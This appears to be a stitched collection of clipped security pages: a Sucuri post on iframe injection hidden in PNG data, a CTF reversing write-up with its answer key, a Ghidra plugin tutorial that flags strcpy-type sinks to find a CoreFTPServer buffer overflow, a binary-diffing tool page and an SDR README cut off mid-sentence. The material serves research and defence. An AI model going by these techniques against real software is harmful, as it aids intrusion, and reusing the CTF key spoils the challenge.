You see, the iFrame was loading a valid file, nothing malicious, it was a
JavaScript file, **jquery.js**. For all intents and purposed, the file was
good. Here, look for yourself:

<img src='img/Temp2_5587.gif' alt='blog_injection1' />

At first, like many of you, we were stumped. I mean the code is good, no major
issues, right? Then we noticed this little function, **loadFile\(\)**. The
function itself wasn’t curious, but the fact that it was loading a PNG was –
**var strFile = ‘./dron.png**. You’d be surprised how long of staring it takes
to notice something like that, I know hindsight is a real kicker.

Naturally our next step was to open that curious **dron.png** file. I mean,
what could go wrong?

Well, absolutely nothing, it’s perhaps the most boring thing I have ever seen,
lovely. What a waste of time…

<img src='img/Temp2_5585.gif' width='265' height='160' alt='Sucuri-iframe-png'
/>

But wait, we then noticed this interesting little loop:

<img src='img/Temp2_5584.gif' alt='Sucuri-PNG-Decoding-Loop' />

Well that’s surely curious, it has a decoding loop. Why would it need a
decoding loop for a PNG file?

Like any good researcher, I went about it the easy way, why worry about
breaking down an image when I can just load the image on a test page and take
the content. For the win\!\!

After loading it on a test page this is what we were able to pull from the
**strData** variable:

<img src='img/Temp2_5583.gif' alt='sucuri-png-iframe-payload' />

Do you see what it is doing?

It’s taking the normal behavior of an iFrame injection, embedding it within
the meta of the PNG file and just like that we have a new distribution
mechanism.

A couple of areas to pay special attention too. You see where they use the
**createElement** to use an **iFrame** , then you should see where they place
the iFrame out of view to the naked eye via their **elm.style.position.left
and elm.style.position.top** elements by placing it at **-1000px**. That’s
right, you can’t see a negative placement in your browser, everything is
positive. But you know who can? That’s right, the browser itself sees it and
so does Google, nice little technique both for drive-by-download and Search
Engine Poisoning \(SEP\) attacks.

Lastly of course we have the payload, which can found on that domain set in
the **elm.src** element.

#### Why is this Unique and what is the benefit?

This is unique because in the level of effort being taken to obfuscate the
payload. Most scanners today will not decode the meta in the image, they would
stop at the **JavaScript** that is being loaded, but they won’t follow the
cookie trail. This also talks to the benefit, at least for attackers, it’s
exceptionally difficult to detect.

Do make note however that while in this specific case we’re talking about PNG,
the concepts do and can apply to other image file types as well. This only
puts more emphasis on the importance of being aware of the state of your web
server, understanding what files are and aren’t being added and modified and
ensuring that vulnerabilities are not being exploited.

As is often the case, some creative sleuthing and troubleshooting allowed us
to spend the time required to find this lovely little gem. Do we detect it now
via our Website Malware Scanner? Absolutely\!\!\!

Stay frosty my friends\!\!

# Clip: http://www.limited-
entropy.com/docs/pctf/writeup/rev250/reversing250.txt

**Created:**| _4/26/2011 9:06:24 PM_  
---|---  
**Updated:**| _4/26/2011 9:06:24 PM_  
**Author:**| __  
**Tags:**| _ctf_  
  

[code]

    Description
    Category: reversing
    
    We found the mobile phone that's left in one of the office.
    Out of all applications, The Color Game App seemed suspicious. (Download)
    
    We believe the solution to this game is the password of the user for the computer next to it.
    Solve it! and get the password!
    
    Key is the color sequence of the buttons in all lower case with no spaces [e.g. redyellowbluegreenred]
    
    These are the screenshot of the game:
    pic 1
    pic 2
    
    ****
    
    I've posted a copy  of the app to http://www.limited-entropy.com/docs/pctf/writeup/rev250/iphone.zip .
    
    After opening the binary with IDA Pro, jumping around a bit to get a feeling of what objc code looks like, swearing a bit about objc_msgSend, etc. we end up analyzing the function "__reverseMeViewController_viewDidLoad_ proc near" at __text:000028DC.
    
    It does something like:
    
    array1 = new MutableArray
    array2 = new MutableArray
    array2.add("Blue");
    array2.add("Green");
    ...
    
    These elements in order are the solution to the problem. They are interleaved with calls to addButton(Color) to make things slightly more difficult. The final catch is that the app uses a different color name internally than the actual color.
    
    We find the name mapping by reversing the functions that implement the button handler. For example, we see this in viewDidLoad:
    
    
    __text:00002AA4                 mov     ecx, [ebp+var_1C]
    __text:00002AA7                 lea     edx, (cfstr_Addred.isa - 28EDh)[ebx] ; "addRed"
    __text:00002AAD                 lea     eax, (setTitleForState - 28EDh)[ebx]
    __text:00002AB3                 mov     eax, [eax]
    __text:00002AB5                 mov     dword ptr [esp+0Ch], 0
    __text:00002ABD                 mov     [esp+8], edx
    __text:00002AC1                 mov     [esp+4], eax
    __text:00002AC5                 mov     [esp], ecx
    __text:00002AC8                 call    _objc_msgSend
    __text:00002ACD                 mov     esi, [ebp+var_1C]
    __text:00002AD0                 lea     eax, (AllDayHomeBoy - 28EDh)[ebx]
    __text:00002AD6                 mov     edx, [eax]
    __text:00002AD8                 mov     ecx, [ebp+arrayCapacity]
    __text:00002ADB                 lea     eax, (AddTargetAction - 28EDh)[ebx]
    __text:00002AE1                 mov     eax, [eax]
    __text:00002AE3                 mov     dword ptr [esp+10h], 40h
    __text:00002AEB                 mov     [esp+0Ch], edx
    __text:00002AEF                 mov     [esp+8], ecx
    __text:00002AF3                 mov     [esp+4], eax
    __text:00002AF7                 mov     [esp], esi
    __text:00002AFA                 call    _objc_msgSend
    
    So we reverse AllDayHomeBoy as this is the event handler. There we see this code:
    
    __text:000034DA __reverseMeViewController_allDayHomeBoy__ proc near
    __text:000034DA
    __text:000034DA var_1C          = dword ptr -1Ch
    __text:000034DA var_18          = dword ptr -18h
    __text:000034DA var_14          = dword ptr -14h
    __text:000034DA var_10          = dword ptr -10h
    __text:000034DA var_C           = dword ptr -0Ch
    __text:000034DA arg_0           = dword ptr  8
    __text:000034DA
    __text:000034DA                 push    ebp
    __text:000034DB                 mov     ebp, esp
    __text:000034DD                 push    esi
    __text:000034DE                 push    ebx
    __text:000034DF                 sub     esp, 40h
    __text:000034E2                 call    $+5
    __text:000034E7                 pop     ebx
    __text:000034E8                 mov     edx, [ebp+arg_0]
    __text:000034EB                 lea     eax, (mutableArray1 - 34E7h)[ebx]
    __text:000034F1                 mov     eax, [eax]
    __text:000034F3                 mov     eax, [eax]
    __text:000034F5                 lea     eax, [edx+eax]
    __text:000034F8                 mov     eax, [eax]
    __text:000034FA                 mov     ecx, eax
    __text:000034FC                 lea     edx, (cfstr_Blue.isa - 34E7h)[ebx] ; "Blue"
    __text:00003502                 lea     eax, (addObject - 34E7h)[ebx]
    __text:00003508                 mov     eax, [eax]
    
    So internally 'Red' is 'Blue'. We change all Blue's in our list by red. We do the same for all colors and then we get the complete solution.
    
    key: redyellowgreenredblueblueblueredpurplegreenyelloworangeredred
[/code]

# Ghidra Plugin Development for Vulnerability Research - Part-1

**Created:**| _5/10/2019 8:33:47 AM_  
---|---  
**Updated:**| _5/10/2019 8:33:47 AM_  
**Author:**| __  
**Tags:**| _plugin ghidra_  
  

  

#  Ghidra Plugin Development for Vulnerability Research - Part-1

## **Overview**

On March 5th at the RSA security conference, the National Security Agency
\(NSA\) released a reverse engineering tool called Ghidra. Similar to IDA Pro,
Ghidra is a disassembler and decompiler with many powerful features \(e.g.,
plugin support, graph views, cross references, syntax highlighting, etc.\).
Although Ghidra's plugin capabilities are powerful, there is little
information published on its full capabilities. This blog post series will
focus on Ghidra’s plugin development and how it can be used to help identify
software vulnerabilities.

In our previous post, we leveraged IDA Pro’s plugin functionality to identify
sinks \(potentially vulnerable functions or programming syntax\). We then
improved upon this technique in our follow up blog post to identify inline
strcpy calls and identified a buffer overflow in Microsoft Office. In this
post, we will use similar techniques with Ghidra’s plugin feature to identify
sinks in CoreFTPServer v1.2 build 505.

## **Ghidra Plugin Fundamentals**

Before we begin, we recommend going through the example Ghidra plugin scripts
and the front page of the API documentation to understand the basics of
writing a plugin. \(**Help - > Ghidra API Help**\)

<img src='img/4573_1554153789547' width='697' height='388' />

When a Ghidra plugin script runs, the current state of the program will be
handled by the following five objects:

  * •**currentProgram** : the active program
  * •**currentAddress** : the address of the current cursor location in the tool
  * •**currentLocation** : the program location of the current cursor location in the tool, or null if no program location exists
  * •**currentSelection** : the current selection in the tool, or null if no selection exists
  * •**currentHighlight** : the current highlight in the tool, or null if no highlight exists

It is important to note that Ghidra is written in Java, and its plugins can be
written in Java or Jython. For the purposes of this post, we will be writing a
plugin in Jython. There are three ways to use Ghidra’s Jython API:

  * •**Using Python IDE \(similar to IDA Python console\):**

<img src='img/4562_1554154466345' width='697' height='388' />

  * •**Loading a script from the script manager:**

<img src='img/4570_1554155172626' width='697' height='388' />

  * •**Headless** **\- Using Ghidra without a GUI:**

<img src='img/4565_ghidra_output4.png' width='697' height='388' />

With an understanding of Ghidra plugin basics, we can now dive deeper into the
source code by utilizing the script manager \(**Right Click on the script** ->
**Edit with Basic Editor**\)

<img src='img/4567_1554155971923' width='697' height='386' />

The example plugin scripts are located under
**/path\_to\_ghidra/Ghidra/Features/Python/ghidra\_scripts.**\(In the script
manager, these are located under **Examples/Python/**\):

<img src='img/4571_ghidra_output6.png' width='698' height='389' />

##  
**Ghidra Plugin Sink Detection**

In order to detect sinks, we first have to create a list of sinks that can be
utilized by our plugin. For the purpose of this post, we will target the sinks
that are known to produce buffer overflow vulnerabilities. These sinks can be
found in various write-ups, books, and publications.

Our plugin will first identify all function calls in a program and check
against our list of sinks to filter out the targets. For each sink, we will
identify all of their parent functions and called addresses. By the end of
this process, we will have a plugin that can map the calling functions to
sinks, and therefore identify sinks that could result in a buffer overflow.  

**Locating Function Calls**

There are various methods to determine whether a program contains sinks. We
will be focusing on the below methods, and will discuss each in detail in the
following sections:

  1. 0 . **Linear Search -** Iterate over the text section \(executable section\) of the binary and check the instruction operand against our predefined list of sinks.
  2. 1 . **Cross References \(Xrefs\) -** Utilize Ghidra’s built in identification of cross references and query the cross references to sinks. 

****

## **Linear Search**

The first method of locating all function calls in a program is to do a
sequential search. While this method may not be the ideal search technique, it
is a great way of demonstrating some of the features in Ghidra’s API.

Using the below code, we can print out all instructions in our program:

[code]

    listing = currentProgram.getListing() #get a Listing interface
    ins_list = listing.getInstructions(1) #get an Instruction iterator
    while ins_list.hasNext():             #go through each instruction and print it out to the console
        ins = ins_list.next()
        print (ins)
[/code]

Running the above script on CoreFTPServer gives us the following output:

<img src='img/4566_ghidra_output7.png' width='697' height='411' />

We can see that all of the x86 instructions in the program were printed out to
the console.

  
Next, we filter for sinks that are utilized in the program. It is important to
check for duplicates as there could be multiple references to the identified
sinks.

Building upon the previous code, we now have the following:

[code]

    sinks = [ 
             "strcpy",
             "memcpy",
             "gets",
             "memmove",
             "scanf",
             "lstrcpy",
             "strcpyW",
             #...
             ]
    duplicate = []
    listing = currentProgram.getListing() 
    ins_list = listing.getInstructions(1) 
    while ins_list.hasNext():           
        ins = ins_list.next()    
        ops = ins.getOpObjects(0)    
        try:        
            target_addr = ops[0]  
            sink_func = listing.getFunctionAt(target_addr) 
            sink_func_name = sink_func.getName()         
            if sink_func_name in sinks and sink_func_name not in  duplicate:
                duplicate.append(sink_func_name) 
                print (sink_func_name,target_addr) 
        except:
            pass    
[/code]

  
Now that we have identified a list of sinks in our target binary, we have to
locate where these functions are getting called. Since we are iterating
through the executable section of the binary and checking every operand
against the list of sinks, all we have to do is add a filter for the call
instruction.

Adding this check to the previous code gives us the following:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    duplicate = []
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)
    
    #iterate through each instruction
    while ins_list.hasNext():
        ins = ins_list.next()
        ops = ins.getOpObjects(0)
        mnemonic = ins.getMnemonicString()
    
        #check to see if the instruction is a call instruction
        if mnemonic == "CALL":
            try:
                target_addr = ops[0]
                sink_func = listing.getFunctionAt(target_addr)
                sink_func_name = sink_func.getName()
                #check to see if function being called is in the sinks list
                if sink_func_name in sinks and sink_func_name not in duplicate:
                    duplicate.append(sink_func_name)
                    print (sink_func_name,target_addr)
            except:
    	        pass
[/code]

Running the above script against CoreFTPServer v1.2 build 505 shows the
results for all detected sinks:

<img src='img/4561_ghidra_output8.png' width='698' height='383' />

Unfortunately, the above code does not detect any sinks in the CoreFTPServer
binary. However, we know that this particular version of CoreFTPServer is
vulnerable to a buffer overflow and contains the **lstrcpyA** sink.**** So,
why did our plugin fail to detect any sinks?

After researching this question, we discovered that in order to identify the
functions that are calling out to an external DLL, we need to use the function
manager that specifically handles the external functions.

To do this, we modified our code so that every time we see a call instruction
we go through all external functions in our program and check them against the
list of sinks. Then, if they are found in the list, we verify whether that the
operand matches the address of the sink.

The following is the modified section of the script:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    program_sinks = {}
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)
    ext_fm = fm.getExternalFunctions()
    
    #iterate through each of the external functions to build a dictionary
    #of external functions and their addresses
    while ext_fm.hasNext():
        ext_func = ext_fm.next()
        target_func = ext_func.getName()
       
        #if the function is a sink then add it's address to a dictionary
        if target_func in sinks: 
            loc = ext_func.getExternalLocation()
            sink_addr = loc.getAddress()
            sink_func_name = loc.getLabel()
            program_sinks[sink_addr] = sink_func_name
    
    #iterate through each instruction 
    while ins_list.hasNext():
        ins = ins_list.next()
        ops = ins.getOpObjects(0)
        mnemonic = ins.getMnemonicString()
    
        #check to see if the instruction is a call instruction
        if mnemonic == "CALL":
            try:
                #get address of operand
                target_addr = ops[0]   
                #check to see if address exists in generated sink dictionary
                if program.sinks.get(target_addr):
                    print (program_sinks[target_addr], target_addr,ins.getAddress()) 
            except:
                pass
[/code]

Running the modified script against our program shows that we identified
multiple sinks that could result in a buffer overflow.

<img src='img/4564_ghidra_output9.png' width='697' height='423' />

  

## **Xrefs**

The second and more efficient approach is to identify cross references to each
sink and check which cross references are calling the sinks in our list.
Because this approach does not search through the entire text section, it is
more efficient.  
  
Using the below code, we can identify cross references to each sink:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    duplicate = []
    func = getFirstFunction()
    
    while func is not None:
        func_name = func.getName()
        
        #check if function name is in sinks list
        if func_name in sinks and func_name not in duplicate:
            duplicate.append(func_name)
            entry_point = func.getEntryPoint()
            references = getReferencesTo(entry_point)
    	#print cross-references    
            print(references)
        #set the function to the next function
        func = getFunctionAfter(func)
[/code]

Now that we have identified the cross references, we can get an instruction
for each reference and add a filter for the call instruction. A final
modification is added to include the use of the external function manager:

[code]

    sinks = [					
    	"strcpy",
    	"memcpy",
    	"gets",
    	"memmove",
    	"scanf",
    	"strcpyA", 
    	"strcpyW", 
    	"wcscpy", 
    	"_tcscpy", 
    	"_mbscpy", 
    	"StrCpy", 
    	"StrCpyA",
            "lstrcpyA",
            "lstrcpy", 
            #...
    	]
    
    duplicate = []
    fm = currentProgram.getFunctionManager()
    ext_fm = fm.getExternalFunctions()
    
    #iterate through each external function
    while ext_fm.hasNext():
        ext_func = ext_fm.next()
        target_func = ext_func.getName()
        
        #check if the function is in our sinks list 
        if target_func in sinks and target_func not in duplicate:
            duplicate.append(target_func)
            loc = ext_func.getExternalLocation()
            sink_func_addr = loc.getAddress()    
            
            if sink_func_addr is None:
                sink_func_addr = ext_func.getEntryPoint()
    
            if sink_func_addr is not None:
                references = getReferencesTo(sink_func_addr)
    
                #iterate through all cross references to potential sink
                for ref in references:
                    call_addr = ref.getFromAddress()
                    ins = listing.getInstructionAt(call_addr)
                    mnemonic = ins.getMnemonicString()
    
                    #print the sink and address of the sink if 
                    #the instruction is a call instruction
                    if mnemonic == “CALL”:
                        print (target_func,sink_func_addr,call_addr)
[/code]

Running the modified script against CoreFTPServer gives us a list of sinks
that could result in a buffer overflow:

<img src='img/4564_ghidra_output9.png' width='697' height='423' />

  
  

## **Mapping Calling Functions to Sinks**

So far, our Ghidra plugin can identify sinks. With this information, we can
take it a step further by mapping the calling functions to the sinks. This
allows security researchers to visualize the relationship between the sink and
its incoming data. For the purpose of this post, we will use graphviz module
to draw a graph.

Putting it all together gives us the following code:

[code]

    from ghidra.program.model.address import Address
    from ghidra.program.model.listing.CodeUnit import *
    from ghidra.program.model.listing.Listing import *
    
    import sys
    import os
    
    #get ghidra root directory
    ghidra_default_dir = os.getcwd()
    
    #get ghidra jython directory
    jython_dir = os.path.join(ghidra_default_dir, "Ghidra", "Features", "Python", "lib", "Lib", "site-packages")
    
    #insert jython directory into system path 
    sys.path.insert(0,jython_dir)
    
    from beautifultable import BeautifulTable
    from graphviz import Digraph
    
    
    sinks = [
        "strcpy",
        "memcpy",
        "gets",
        "memmove",
        "scanf",
        "strcpyA", 
        "strcpyW", 
        "wcscpy", 
        "_tcscpy", 
        "_mbscpy", 
        "StrCpy", 
        "StrCpyA", 
        "StrCpyW", 
        "lstrcpy", 
        "lstrcpyA", 
        "lstrcpyW", 
        #...
    ]
    
    sink_dic = {}
    duplicate = []
    listing = currentProgram.getListing()
    ins_list = listing.getInstructions(1)
    
    #iterate over each instruction
    while ins_list.hasNext():
        ins = ins_list.next()
        mnemonic = ins.getMnemonicString()
        ops = ins.getOpObjects(0)
        if mnemonic == "CALL":	
            try:
                target_addr = ops[0]
                func_name = None 
                
                if isinstance(target_addr,Address):
                    code_unit = listing.getCodeUnitAt(target_addr)
                    if code_unit is not None:
                        ref = code_unit.getExternalReference(0)	
                        if ref is not None:
                            func_name = ref.getLabel()
                        else:
                            func = listing.getFunctionAt(target_addr)
                            func_name = func.getName()
    
                #check if function name is in our sinks list
                if func_name in sinks and func_name not in duplicate:
                    duplicate.append(func_name)
                    references = getReferencesTo(target_addr)
                    for ref in references:
                        call_addr = ref.getFromAddress()
                        sink_addr = ops[0]
                        parent_func_name = getFunctionBefore(call_addr).getName()
    
                        #check sink dictionary for parent function name
                        if sink_dic.get(parent_func_name):
                            if sink_dic[parent_func_name].get(func_name):
                                if call_addr not in sink_dic[parent_func_name][func_name]['call_address']:
                                    sink_dic[parent_func_name][func_name]['call_address'].append(call_addr)
                                else:
                                    sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}}
                        else:	
                            sink_dic[parent_func_name] = {func_name:{"address":sink_addr,"call_address":[call_addr]}}				
            except:
                pass
    
    #instantiate graphiz
    graph = Digraph("ReferenceTree")
    graph.graph_attr['rankdir'] = 'LR'
    duplicate = 0
    
    #Add sinks and parent functions to a graph	
    for parent_func_name,sink_func_list in sink_dic.items():
        #parent functions will be blue
        graph.node(parent_func_name,parent_func_name, style="filled",color="blue",fontcolor="white")
        for sink_name,sink_list in sink_func_list.items():
            #sinks will be colored red
            graph.node(sink_name,sink_name,style="filled", color="red",fontcolor="white")
            for call_addr in sink_list['call_address']:
    	    if duplicate != call_addr:					
                    graph.edge(parent_func_name,sink_name, label=call_addr.toString())
                    duplicate = call_addr	
    
    ghidra_default_path = os.getcwd()
    graph_output_file = os.path.join(ghidra_default_path, "sink_and_caller.gv")
    
    #create the graph and view it using graphiz
    graph.render(graph_output_file,view=True)
[/code]

Running the script against our program shows the following graph:

<img src='img/4568_ghidra_output10.png' width='697' height='572' />

We can see the calling functions are highlighted in blue and the sink is
highlighted in red. The addresses of the calling functions are displayed on
the line pointing to the sink.

After conducting some manual analysis we were able to verify that several of
the sinks identified by our Ghidra plugin produced a buffer overflow. The
following screenshot of WinDBG shows that EIP is overwritten by 0x42424242 as
a result of an lstrcpyA function call.

<img src='img/4569_ghidra_output15.png' width='697' height='456' />

## **Additional Features**

Although visualizing the result in a graph format is helpful for vulnerability
analysis, it would also be useful if the user could choose different output
formats.

The Ghidra API provides several methods for interacting with a user and
several ways of outputting data. We can leverage the Ghidra API to allow a
user to choose an output format \(e.g. text, JSON, graph\) and display the
result in the chosen format. The example below shows the dropdown menu with
three different display formats. The full script is available at our github:

<img src='img/4563_ghidra_output11.png' width='697' height='388' />

## **Limitations**

There are multiple known issues with Ghidra, and one of the biggest issues for
writing an analysis plugin like ours is that the Ghidra API does not always
return the correct address of an identified standard function.

Unlike IDA Pro, which has a database of function signatures \(FLIRT
signatures\) from multiple libraries that can be used to detect the standard
function calls, Ghidra only comes with a few export files \(similar to
signature files\) for DLLs. Occasionally, the standard library detection will
fail.

<img src='img/4572_ghidra_output12.png' width='697' height='388' />

By comparing IDA Pro and Ghidra’s disassembly output of CoreFTPServer, we can
see that IDA Pro’s analysis successfully identified and mapped the function
**lstrcpyA** using a FLIRT signature, whereas Ghidra shows a call to the
memory address of the function **lstrcpyA**.

Although the public release of Ghidra has limitations, we expect to see
improvements that will enhance the standard library analysis and aid in
automated vulnerability research.

## **Conclusion**

Ghidra is a powerful reverse engineering tool that can be leveraged to
identify potential vulnerabilities. Using Ghidra’s API, we were able to
develop a plugin that identifies sinks and their parent functions and display
the results in various formats. In our next blog post, we will conduct
additional automated analysis using Ghidra and enhance the plugins
vulnerability detection capabilities.

Posted on April 5, 2019 by Somerset Recon and tagged \#Ghidra \#Reverse
Engineering \#Plugin \#Vulnerability Analysis.

 9 Likes

Share

.

# Corelabs site

**Created:**| _10/22/2009 3:47:47 PM_  
---|---  
**Updated:**| _10/22/2009 3:47:54 PM_  
**Author:**| __  
**Tags:**| _iDA reversing plugin_  
  

# What is turbodiff?

Turbodiff is a binary diffing tool developed as an IDA plugin. It discovers
and analyzes differences between the functions of two binaries.

## Requirements

"Turbodiff 1.01 beta release 1" works with IDA starting from v5.0.

## Instructions

**For the binaries:**  
Download the plugin and store it at the directory "..\IDA\plugins".

**If you want to compile it on your own:** We have compiled it and tested it
using Borland C. For the free version of IDA Pro \(4.9\) you'll need to first:  
1\. Generate the ida\_free.lib library. To do this execute:  
"implib -c ida\_free.lib ida\_free.def"  
2\. Next, you must have the linker use this library.  
3\. Compile.

### Comparing two files:

  1. Open the first file to be compared with IDA and run /Option 1 \(take info from this idb\)/ from the plugin. Close.
  2. Open the second file to be compared with IDA and run /Option 1 \(take info from this idb\)/ from the plugin.
  3. Use /Option 2 \(compare with...\)/ from the plugin, and when prompted to select a file, select the first file. Chose if you want a log file to be genreated and run. Once finished a functions table will popup \(watch Figure 1\) describuing results. The results are then saved for later usage.

### Accessing a comparison generated earlier:

  1. Open one of the files with IDA. Select /Option 3 \("Compare functions with..."\)/ from the plugin options and choose the other file to be compared. The table will popup without executing any new tasks.

### Comparing any two functions:

  1. After comparing two files, you can compare any two functions between each by using /Option 4 \("Free comparison with..."\)/ and specifying the addresses of these actions.

## Understanding the Output

### The table

Each row represents two funct5ions that are being compared, and with 5
columns, **category, address, name, address, name** , where category describes
the relationship between two functions, the 2nd and 3rd column describe
address/name for the first function and the 4th and 5th columns describe
address/name for the second function being compared.  
The categories can be:

  * identical:
    * Same function graph;
    * Same checksum in each basic block;
    * Same amount of instructions in each basic block;
  * suspicious+:
    * Same function graph;
    * /Different/ checksum in each basic block;
    * Same amount of instructions in each basic block;
  * suspicious++:
    * Same function graph;
    * /Different/ checksum in at least one basic block;
    * /Different/ amount of instructions in at least one basic block;
  * changed:
    * None of the above;
    * Related by an heuristic, as described in the presentation;
  * unmatched:
    * None of the above;

### Colors for basic blocks when diffing functions

  * white: Same checksum and number of instructions

  * green: Same number of instructions

  * yellow: Different number of instructions

  * red: Basic block that the differ didn't match.

## Downloads

  * Stable release \(1.01 beta release 1\), updated on October 2, 2009. Sources and plugin
  * Latest stable release \(1.01 beta, r1, second build\), updated on October 19, 2009:
    * IDA, starting with version v5 Sources and plugin
    * version for \(free\) IDA PRO v4.9 Sources and plugin

## Known Issues

  * There is an issue to be solved with the heuristics that produces false negatives when detecting identical functions. This will be solved by the next release.

## Licensing

This software is provided under the GPLv2 license.

## Contact Us

Whether you want to report a bug or give some suggestions on this package,
drop us a few lines at oss- at -coresecurity.com or contact the author,
Nicolas Economou, at neconomou@

## Description

Title

    turbodiff 
Release date

    2009-10-08 
License type

    GPL v2. 
#### Attachments

green\_bb\_example.png \-

red\_bb\_example.png \-

turbodiff-for-free-ida\_v1.0.1b2.zip \-

turbodiff\_v1.0.1.zip \-

turbodiff\_v1.0.1b2.zip \-

yellow\_bb\_example.png \-

# Related information

## Areas

  * Vulnerability Research

## Researchers

  * Nicolas Economou

## Publications

  * Heuristicas aplicadas a la comparacion \( diffeo \) de binarios

# OpenRCE

**Created:**| _10/24/2011 11:20:34 AM_  
---|---  
**Updated:**| _10/24/2011 11:20:34 AM_  
**Author:**| __  
**Tags:**| _Linux dll-injection_  
  
**DLL Injection on Linux using Hotpatch****Author:** bihariking <img
src='https://www.openrce.org/img/email_icon.gif' />| **\# Views:** 332  
---|---  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  
  

# Untitled note

**Created:**| _11/27/2011 11:05:19 PM_  
---|---  
**Updated:**| _11/27/2011 11:05:19 PM_  
**Author:**| __  
**Tags:**| _awesome_  
  

[code]

      ⠺⠊⠇⠇ ⠹⠻⠑⠋⠕⠗⠑ ⠏⠻⠍⠊⠞ ⠍⠑ ⠞⠕ ⠗⠑⠏⠑⠁⠞⠂ ⠑⠍⠏⠙⠁⠞⠊⠊⠁⠇⠇⠹⠂ ⠹⠁⠞
[/code]

# bastibl/gr-ieee802-11

**Created:**| _8/15/2016 3:06:59 PM_  
---|---  
**Updated:**| _8/15/2016 3:06:59 PM_  
**Author:**| __  
**Tags:**| __  
  

  

Hi\!

This an IEEE 802.11 a/g/p transceiver for GNU Radio that is fitted for
operation with Ettus N210s and B210s. Interoperability was tested with many
off-the-shelf WiFi cards and IEEE 802.11p prototypes. The code can also be
used in simulations.

# Development

Like GNU Radio, this module uses _master_ and _next_ branches for development,
which are supposed to be used with the corresponding GNU Radio branches. I
recommend staying up-to-date by using the _next_ branch.

# Installation

## Dependencies

Please note that ` apt-get ` is the package manager of Debian/Ubuntu based
systems, while ` port ` is one package manager for OSX. So use either \(not
both\) according to your needs.

### log4cpp

I use the new logging feature of GNU Radio which relies on log4cpp. This
should be an optional dependency some day, but currently it is required. You
can install it with

[code]

    normalsudo apt-get install liblog4cpp5-dev
    sudo port install log4cpp
    normal
[/code]

### GNU Radio v3.7

You need at least version 3.7.3.

There are several ways to install GNU Radio. You can use

  * pybombs
  * pre-combiled binaries
  * from source

### gr-foo

I have some non project specific GNU Radio blocks in my gr-foo repo that are
needed. For example the Wireshark connector. You can find these blocks at
https://github.com/bastibl/gr-foo. They are installed with the typical command
sequence:

[code]

    normalgit clone https://github.com/bastibl/gr-foo.git
    cd gr-foo
    mkdir build
    cd build
    cmake ..
    make
    sudo make install
    sudo ldconfig
    normal
[/code]

## Installation of gr-ieee802-11

To actually install the blocks do

[code]

    normalgit clone git://github.com/bastibl/gr-ieee802-11.git
    cd gr-ieee802-11
    mkdir build
    cd build
    cmake ..
    make
    sudo make install
    sudo ldconfig
    normal
[/code]

### Adjust Maximum Shared Memory

Since the transmitter is using the Tagged Stream blocks it has to store a
complete frame in the buffer before processing it. The default maximum shared
memory might not be enough on most Linux systems. It can be increased with

[code]

    normalsudo sysctl -w kernel.shmmax=2147483648
    normal
[/code]

### OFDM PHY

The physical layer is encapsulated in a hierarchical block to allow for a
clearer transceiver structure in GNU Radio Companion. This hierarchical block
is not included in the installation process. You have to open `
/examples/wifi_phy_hier.grc ` with GNU Radio Companion and build it. This will
install the block in ` ~/.grc_gnuradio/ `.

### Check message port connections

Sometime the connections between the message ports \(the gray ones in GNU
Radio Companion\) break. Therefore, please open the flow graphs and assert
that everything is connected. It should be pretty obvious how the blocks are
supposed to be wired. Actually this should not happen anymore, so if your
ports are still unconnected please drop me a mail.

### Python OpenGL

If you want to run the receive demo \(the one that plots the subcarrier
constellations\), please assert that you have python-opengl installed. The
nongl version of the plot does not work for me.

### Run volk\_profile

volk\_profile is part of GNU Radio. It benchmarks different SIMD
implementations on your PC and creates a configuration file that stores the
fastest version of every function. This can speed up the computation
considerably and is required in order to deal with the high rate of incoming
samples.

### Calibrate your daughterboard

If you have a WBX, SBX, or CBX daughterboard you should calibrate it in order
to minimize IQ imbalance and TX DC offsets. See the application notes.

# Checking you installation

As a first step I recommend to test the ` wifi_loopback.grc ` flow graph. This
flow graph does not need any hardware and allows you to ensure that the
software part is installed correctly. So open the flow graph and run it. If
everything works as intended you should see some decoded 'Hello World' packets
in the console.

## Troubleshooting

If GRC complains that it can't find some blocks \(other than performance
counters and hierarchical blocks\) like

[code]

    normal>>> Error: Block key "ieee802_11_ofdm_mac" not found in Platform - grc(GNU Radio Companion)
    >>> Error: Block key "foo_packet_pad" not found in Platform - grc(GNU Radio Companion)
    normal
[/code]

Most likely you used a different ` CMAKE_INSTALL_PREFIX ` for the module than
for GNU Radio. Therefore, the blocks of the module ended up in a different
directory and GRC can't find them. You have to tell GRC where these blocks are
by creating/adding to your ` ~/.gnuradio/config.conf ` something like

[code]

    normal[grc]
    global_blocks_path = /opt/local/share/gnuradio/grc/blocks
    local_blocks_path = /Users/basti/usr/share/gnuradio/grc/blocks
    normal
[/code]

But with the directories that match your installation.

# Usage

## Simulation

The loopback flow graph should give you an idea of how simulations can be
